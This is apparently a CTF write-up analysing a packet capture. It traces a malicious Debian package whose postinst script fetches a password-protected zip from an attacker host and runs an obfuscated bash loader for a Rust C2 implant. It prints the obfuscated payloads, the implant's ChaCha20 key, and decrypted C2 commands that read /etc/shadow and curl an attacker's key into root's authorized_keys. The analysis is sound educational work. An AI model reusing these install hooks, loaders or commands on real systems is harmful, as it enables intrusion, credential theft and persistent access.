Author: mel (all hail the mel)
Earlier on in the year I used a custom PPA for a long-discontinued library I needed in my experimental program. I ended up not using it, but soon forgot about it later on. However, this morning, I went to check back in on my server and discovered a strange SSH public key in my root SSH user.
I have a packet capture from yesterday detailing everything happening on the network. Could you maybe take a look at it?
PCAP Analysis#
Given an intercept.pcap, we notice a lot of interesting traffic (its a 95MB pcap lmao). The vast majority is random, strange looking TCP retransmissions, but among all the noise there are also DNS, HTTP, ICMP, FTP, SSH etc packets.
After a while I decided to focus on the HTTP ones, those made some sense and had downloads from debian.org. Wireshark lets you export objects so I exported the downloads to go through them
File -> Export Objects -> HTTPThere are a lot of .deb files downloaded from deb.debian.org but there’s one coming from a repo called knowledge universal which seems to be the PPA (personal package archive) mentioned in the description. Let’s check it out
❯ ls -l knowledge-universal/
-rw-r--r-- 1 105 authorization
-rw-r--r-- 1 479540 cmdtest.deb
-rw-r--r-- 1 1543 symbols.zipMalware Analysis#
I’ll come to symbols.zip and authorization soon, but lets start with the cmdtest.deb package first. We can extract all the files in it with:
ar x ./cmdtest.deb
xz -d ./data.tar.xz
tar xf ./data.tar
xz -d ./control.tar.xz
tar xf ./control.tarThe cmdtest package comes with a post install script which is interesting to us.
❯ cat postinst
#!/bin/bash
curl -s http://knowledge-universal/symbols.zip -o symbols.zip
unzip -q -P very-normal-very-cool symbols.zip
bash ./disk_cleanup⏎Deobfuscation#
Okay, let’s try unzipping symbols.zip now that we have the password. We get a disgusting looking bash script disk_cleanup thats pretty obfuscated. There’s a chain of deobfuscation that takes place, you can see the cleaned up versions here (i hate obfuscated bash so much)
# deobfuscate ./disk_cleanup
echo 'H4sIAPnaKGgC/32UCXOiSBiG/wpLtDTHlIC4kdrUbhAPkCPDLb1MpjgUkUNQRCHD/PZtTGqnao8pC7/7bbqBB0GQztvzYEB19Lva7v9+HPD2l81X+8t5sWmQtnj3vbUoimboIURTtFf07A2CdI8w2elfx19fG2h+eb4O9OwThj0SvV5vXSJPT09ID2ab7igmsZu7t06r1bw+v3VQ6Nwi11Aq1fKPg/qt233PI/4nBCFvYfUWxVH8ZnR/i9+QzXdYJT7dYTcU3u8j/X4HRdc9FP6uf0fHdm0EuWtX+IY0v9kvvL3pvq/YPHysnAJTXviReAKEX80SUM8XywBLPP68cPERIRDGApTklDteTP9EhX6sEMI9N+XCGabk8wSUc9Oq/cR98TGdneteDtjlrzLhpRILFQk/GZl+ZhDKxNetdE6AiGO4IbRbeKUjQp/4GNgqppMCwmn1IroCyTxS2OXOTfxU3ALC2yohk0WqmNM7/rJXxcOstYyYz97jH7b+sFN+L4cCnHk50JpYRJpw/jsXisGR4eqxKgV7hruMQ7EIav5HvRIPdC0dZppU6DVfHUPxwGnCBfpnaM9QD8biPmCW1E/2yUcqPzpWYqHDfjhTH1WpmO3EC9TDMealgvda0TupoKfiJWD4CNNkNjOthDKtrTQEpxGmaL4uX7LE570ETACmVGQChkvNSqSVFdHM+kAzoKSmzo4K3ZwjhMAKl8F/9oafA9kUAnrl5GTCpx/9lZTyJc1sAnkl1Tp8HhkhVvuF8znW5UWmy4nCcIMZYZVwJqRCBjNqMfYJkEs7Md8S2hI+J34egVb/nq6WZ3q69uaaSF4MK9yyK1KHMTAt8oJLWMCu4uVi7Sk7cIZ+AqDvM1yipG62ZD1+HPMll/DHUeLl48qLM9U6ZIxXyEMvlwmhJgk3l1P+TIVWllVClal+iU19XNRA6idOze2cPaWrExDBK2GysQaqf+5zzPjFZChspNW6VlagUEyhMgivvCR+jFfw3BdOPKncvWSCvax+/ve3AXXbc5R3fAzPNR+H7vVePvQjnOGwvdr28SVpOrDu1bAenFlQ0IyU6/BdhvEphnUO7mvMcGPl//UCrHaHEu4rQDdwQzNUI9ZOAPcB0C1BGRoAzNfF0nCiwjQ4YLj6PDEOYM6VVG0NPrTaffzse4Nw2RRp8/oKeXClRkg8YtjJvvqdrCUFhAzSiHR+GOQ63T12QmfwDo9+i6YWaLALe8S/dq9wYVV6AqtN/HQ/Y6iXK8Ig8jrPLTpbIL4DdsuSD0O3aYnWcgimutl0ZP+ZN+iVV7C5231wK6Kyv8CuzoRW2Xbw+5W+fwE4EbMPpgUAAA==' | base64 -d | gunzip > disk_cleanup_1
# deobfuscate ./disk_cleanup_1
echo "nZWQGdkMuZ2dyEmZzFGJg0mcKwGb152L2VGZv4DIsxWdu9idlR2L+IDIiE0RqFmZvFWYzdmbOd0UHFUcqZHJ6Q2cnNHZ2d2dm5WdpV2RBdUYnF2ZkICI3F2ZhF2Zn52UBd0ZhRWanZ2aqFmZkAyZmFkRHJjbmdnMhZ2chRiCpkSMqAjKxoSMrEjKxoCMqEjKxoSMqEjKxoSMqEzKxoSMqEDKoQiLpkSOrATMtkTLwEDKoQiLpkiMgsCIz8SNgoCIx8iMtgzKwEDKoQiLpkyMrAzNrETNtUzKysiMrITLxUzKwITLwATMrITMogCJ9Q2cnNHZ2d2dm5WdpV2RBdUYnF2ZKkSK5syMtUTMrATMzsSNtEjMxsiM10COyEzKyAjNtADMxgCKk0TQHpWYm9WYhN3Zu50RTdUQxpmdKcmZBZ0Ry4mZ3JTYmNXYkACerACZv9Daj9ibqI2LgYiJgcmZBZ0Ry4mZ3JTYmNXYkAiPgQWLgAXaq4mKn9ibqI2LyNnKvACfgQXNzU2Znp2MyoGaPlUQGpUQmRCI/E2Yv4mKi9iC0VzMld2ZqNjMqh2TJFkRKFkZkAiP+AyJwADecFTM4xVYihHX4UDecZWY4x1N0gHXlJGecRjZwgHXmZGecdCImRnbpJHcK8lKvImKs5mcq8yclpSYrpCctQ3cqQ2Lz42bqQnKw9iYppyLypSdv0Dd1MTZndmazIjao9USBZkSBZmCp8TZy9ibqI2LyNnKvACfg8CdtB3LfNXezRXZtRWLyV2cvxmdl1yYhNGalByboNWZoQSPnZWQGdkMuZ2dyEmZzFmCpQWLgQjKlNXYq8ibppyLyNnKvACfk1CI0oSZzFmKv4Waq8iczpyLgwHZtACNqU2chpyLulmKvI3cq8CI8RWLgQjKlNXYq8ibppyLyNnKvACfg0zb3N1dRZUV1VTVSVlTuZ1dZZUYLR3VZZFetJVaktWVIZVbUFmVrZFIv9zY/8ibppyLoQSP3F2ZhF2Zn52UBd0ZhRWanZ2aqFmZ" | rev | base64 -d > disk_cleanup_2disk_cleanup_2 evaluates the values of a bunch of variables that give us further information
Here are the cleaned up values
cli_flag="--master"
dst="/tmp/_systemd-resolved-cache"
src="usr/lib/python3/dist-packages/yarnlib/_"
ip=172.17.0.1
port=21
printf '\xff\x0f4\xbe\x47\xaf\x58\xba\x11\x00' >> $src
cat $src | gunzip -d > $dst && chmod +x $dst
$dst $cli_flag "$ip:$port"So what this does is extract a file from the cmdtest package in its libs, modify it slightly to restore the original executable, and run it with the --master flag and an ip/port. Let’s recover this executable (hence named malware)
Reverse Engineering#
(are we sure this is a forensics challenge?)
We’re going to have to reverse engineer malware aren’t we? A simple strings shows that its a rust binary 😭
Opening this up in binary ninja we see the wifi_utility::main init a chacha20 instance with the
- key =
facdf7458d8483b214197a7245aad45c4ff297e4b90293027234e3c35dea9069 - nonce =
meow-varez:3
if (chacha20::avx2_cpuid::STORAGE::hd45ff7608f86b6b9 == 0xff)
chacha20::avx2_cpuid::init_get::init_inner::he6a3e06188bb66b4()
__builtin_strncpy(dest: &var_548, src: "expand 32-byte k", count: 0x10)
int32_t var_538[0x4]
__builtin_memcpy(dest: &var_538,
src: "\xfa\xcd\xf7\x45\x8d\x84\x83\xb2\x14\x19\x7a\x72\x45\xaa\xd4\x5c\x4f\xf2\x97\x"
"e4\xb9\x02\x93\x02\x72\x34\xe3\xc3\x5d\xea\x90\x69",
count: 0x20)
int32_t var_518 = 0
int64_t var_514
__builtin_strncpy(dest: &var_514, src: "meow-warez:3", count: 0x4d)malware then enters an infinite loop than reads a 4 byte value with the length of the payload, then reads that payload and xors it with the chacha keystream. I am taking massive liberties in cleaning this up to demonstrate
while (1) {
do {
std::net::tcp::read(fd, buf, 4);
size_t len = _bswap(atoi(buf)); // BE to LE
read_buf = __rust_alloc_zeroed(len, 1);
std::io::default_read_exact(fd, read_buf, len);
chacha20::ChaChaCore::process_with_backend();
/* xor with chacha20 keystream and execute command */
}
}C2 Traffic Analysis#
Given this information lets now try to decrypt the commands send to this Command and Control server (C2)
We know the server sending the data is at 172.17.0.1:21 so we can filter for messages from there
tcp.stream eq 17 and tcp.srcport == 21 and ip.src == 172.17.0.1(tcp.stream == 17 i got from wireshark’s useful feature of following streams) I can now save this stream and decrypt the server command. Here’s what that stream’s hexdump looks like (i’ve added empty requests for zero length messages)
| |
I save this to stream.txt and I can now decrypt this with a simple solve script
| |
Here’s all the commands that the server ran
❯ python solve.py
prompt> id
uid=0(root) gid=0(root) groups=0(root)
prompt> pwd
/
prompt> cat /etc/shadow
root:$y$j9T$EgrjqkZ9tbfCDXFAz3uFt1$IF/LOLQ4cUa2Tgj/MfHmlJCC5N.yn2TUTnxBhEVt3N2:20225:0:99999:7:::
daemon:*:20206:0:99999:7:::
bin:*:20206:0:99999:7:::
sys:*:20206:0:99999:7:::
sync:*:20206:0:99999:7:::
games:*:20206:0:99999:7:::
man:*:20206:0:99999:7:::
lp:*:20206:0:99999:7:::
mail:*:20206:0:99999:7:::
news:*:20206:0:99999:7:::
uucp:*:20206:0:99999:7:::
proxy:*:20206:0:99999:7:::
www-data:*:20206:0:99999:7:::
backup:*:20206:0:99999:7:::
list:*:20206:0:99999:7:::
irc:*:20206:0:99999:7:::
_apt:*:20206:0:99999:7:::
nobody:*:20206:0:99999:7:::
systemd-network:!*:20225::::::
systemd-timesync:!*:20225::::::
messagebus:!:20225::::::
sshd:!:20225::::::
prompt> curl http://knowledge-universal/authorization -o /root/.ssh/authorized_keys
prompt> ls -laR /root
/root:
total 28
drwx------ 1 root root 4096 May 17 15:12 .
drwxr-xr-x 1 root root 4096 May 17 19:00 ..
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwx------ 1 root root 4096 May 17 19:00 .ssh
-rw-r--r-- 1 root root 50 May 17 15:12 flag.txt
/root/.ssh:
total 16
drwx------ 1 root root 4096 May 17 19:00 .
drwx------ 1 root root 4096 May 17 15:12 ..
-rw-r--r-- 1 root root 105 May 17 19:00 authorized_keys
prompt> md5sum /root/.ssh/authorized_keys
306171d90074563d46750370e1b7704f /root/.ssh/authorized_keys
prompt> base64 /root/flag.txt
UlVTRUN7a24wY2tfa24wY2tfeW91X2g0dmVfYV9wNGNrNGdlX2luX3RoM19tNDFsfQo=
prompt> rm symbols.zip
prompt> rm disk_cleanup
prompt> exitSo that’s where authorization came in. Anyway, that’s a lovely flag.txt there, lets have a lookie
❯ echo "UlVTRUN7a24wY2tfa24wY2tfeW91X2g0dmVfYV9wNGNrNGdlX2luX3RoM19tNDFsfQo=" | base64 -d
RUSEC{kn0ck_kn0ck_you_h4ve_a_p4ck4ge_in_th3_m41l}Reply by Emaili’d gotten all the way to the key and the nonce and but i just couldn’t decrypt the commands during the actual ctf, fml
i apologise for disappointing the mel

